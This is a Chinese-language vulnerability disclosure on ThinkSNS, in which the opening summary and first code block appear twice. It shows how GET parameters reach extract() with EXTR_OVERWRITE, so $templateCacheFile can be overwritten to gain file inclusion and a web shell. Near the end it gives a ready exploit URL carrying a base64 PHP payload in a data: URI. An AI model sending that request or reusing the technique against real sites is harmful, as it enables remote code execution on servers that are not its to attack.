### 简要描述: ThinkSNS某处处理不当导致get shell ### 详细说明: \apps\public\Lib\Action\CommentAction.class.php reply函数 ``` public function reply() { $var = $_GET; $var['initNums'] = model('Xdata')->getConfig('weibo_nums', 'feed'); $var['commentInfo'] = model('Comment')->getCommentInfo($var['comment_id'], false); $var['canrepost'] = $var['commentInfo']['table'] == 'feed' ? 1 : 0; $var['cancomment'] = 1; // 获取原作者信息 $rowData = model('Feed')->get(intval($var['commentInfo']['row_id'])); $appRowData = model('Feed')->get($rowData['app_row_id']); $var['user_info'] = $appRowData['user_info']; // 微博类型 $var['feedtype'] = $rowData['type']; // $var['cancomment_old'] = ($var['commentInfo']['uid'] != $var['commentInfo']['app_uid'] && $var['commentInfo']['app_uid'] != $this->uid) ? 1 : 0; $var['initHtml'] = L('PUBLIC_STREAM_REPLY').'@'.$var['commentInfo']['user_info']['uname'].' :'; // 回复 $this->assign($var); $this->display(); } ``` 不管中间过程,$var被赋值被$_GET,并在最后进入了assign函数 \core\OpenSociax\Action.class.php assign ```...
### 简要描述: ThinkSNS某处处理不当导致get shell ### 详细说明: \apps\public\Lib\Action\CommentAction.class.php reply函数 ``` public function reply() { $var = $_GET; $var['initNums'] = model('Xdata')->getConfig('weibo_nums', 'feed'); $var['commentInfo'] = model('Comment')->getCommentInfo($var['comment_id'], false); $var['canrepost'] = $var['commentInfo']['table'] == 'feed' ? 1 : 0; $var['cancomment'] = 1; // 获取原作者信息 $rowData = model('Feed')->get(intval($var['commentInfo']['row_id'])); $appRowData = model('Feed')->get($rowData['app_row_id']); $var['user_info'] = $appRowData['user_info']; // 微博类型 $var['feedtype'] = $rowData['type']; // $var['cancomment_old'] = ($var['commentInfo']['uid'] != $var['commentInfo']['app_uid'] && $var['commentInfo']['app_uid'] != $this->uid) ? 1 : 0; $var['initHtml'] = L('PUBLIC_STREAM_REPLY').'@'.$var['commentInfo']['user_info']['uname'].' :'; // 回复 $this->assign($var); $this->display(); } ``` 不管中间过程,$var被赋值被$_GET,并在最后进入了assign函数 \core\OpenSociax\Action.class.php assign ``` public function assign($name,$value='') { if(is_array($name)) { $this->tVar = array_merge($this->tVar,$name); }elseif(is_object($name)){ foreach($name as $key =>$val) $this->tVar[$key] = $val; }else { $this->tVar[$name] = $value; } } ``` assign其实就是给模板变量赋值,也就是说我们的$_GET最后进入了模板变量中。 然后回到一开始的reply函数,可以看到在最后调用了display: \core\OpenSociax\functions.inc.php display函数 ``` // 输出模版 function display($templateFile='',$tvar=array(),$charset='UTF8',$contentType='text/html') { fetch($templateFile,$tvar,$charset,$contentType,true); } ``` fetch找到相应的模板并和我们提交的变量结合编译之: \core\OpenSociax\Action.class.php fetch函数 ``` protected function fetch($templateFile='',$charset='utf-8',$contentType='text/html',$display=false) { $this->assign('appCssList',$this->appCssList); $this->assign('langJsList', $this->langJsList); Addons::hook('core_display_tpl', array('tpl'=>$templateFile,'vars'=>$this->tVar,'charset'=>$charset,'contentType'=>$contentType,'display'=>$display)); return fetch($templateFile, $this->tVar, $charset, $contentType, $display); } ``` 把请求转发给真正的fetch函数: \core\OpenSociax\functions.inc.php ``` function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) { //注入全局变量ts global $ts; $tvar['ts'] = $ts; //$GLOBALS['_viewStartTime'] = microtime(TRUE); if(null===$templateFile) // 使用null参数作为模版名直接返回不做任何输出 return ; if(empty($charset)) $charset = C('DEFAULT_CHARSET'); // 网页字符编码 header("Content-Type:".$contentType."; charset=".$charset); header("Cache-control: private"); //支持页面回跳 //页面缓存 ob_start(); ob_implicit_flush(0); // 模版名为空. if(''==$templateFile){ $templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html'; // 模版名为ACTION_NAME }elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) { $templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html'; // 模版是绝对路径 }elseif(file_exists($templateFile)){ // 模版不存在 }else{ throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']'); } //模版缓存文件 $templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php'; //载入模版缓存 if(!$ts['_debug'] && file_exists($templateCacheFile)) { //if(1==2){ //TODO 开发 extract($tvar, EXTR_OVERWRITE); //exploit! //var_dump($_SESSION); //载入模版缓存文件 include $templateCacheFile; //getshell here! //重新编译 }else{ tshook('tpl_compile',array('templateFile',$templateFile)); // 缓存无效 重新编译 tsload(CORE_LIB_PATH.'/Template.class.php'); tsload(CORE_LIB_PATH.'/TagLib.class.php'); tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php'); $tpl = Template::getInstance(); // 编译并加载模板文件 $tpl->load($templateFile,$tvar,$charset);//getshell here! } ... ... } ``` 分析下这个函数的逻辑: 首先判断模板文件是否存在,不存在则尝试加载默认模板文件,如果加载失败就异常退出 其次如果模板文件存在,那么该文件是否缓存过,如果缓存过,那么直接include缓存文件,在include前使用extract对模板变量赋值 如果模板没有缓存,是第一次被调用,那么就编译模板文件并加载它 在使用缓存的时候程序用extract对变量进行赋值,可以看到第二个参数,EXTR_OVERWIRTE,表示如果某变量已经存在,那么就覆盖这个变量。 下面看看非缓存情况下的处理: \core\OpenSociax\Template.class.php load函数 ``` // 加载模板 public function load($templateFile,$templateVar,$charset) { $this->tVar = $templateVar; $templateCacheFile = $this->loadTemplate($templateFile); // 模板阵列变量分解成为独立变量 extract($templateVar, EXTR_OVERWRITE); //载入模版缓存文件 include $templateCacheFile; } ``` 与缓存情况下相同,也是调用extract来覆盖变量,由于第二个参数的使用,因此如果模板变量可控的话,我们可以覆盖任意变量。 可以覆盖$templateCacheFile变量,这样变量覆盖就变成了任意文件包含,并可getshell. ### 漏洞证明: 上传一个jpg,然后include之: [<img src="https://images.seebug.org/upload/201311/242140461ed8c5ee747e58e23f01f89ecc444651.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201311/242140461ed8c5ee747e58e23f01f89ecc444651.jpg) 在allow_url_include为on下可以这样getshell: ``` http://www.evil.com/thinksns/index.php?app=public&mod=Comment&act=reply&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b ``` [<img src="https://images.seebug.org/upload/201311/2421363402af361e446f17b219eb8e014c9758c8.jpg" alt="getshell.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201311/2421363402af361e446f17b219eb8e014c9758c8.jpg)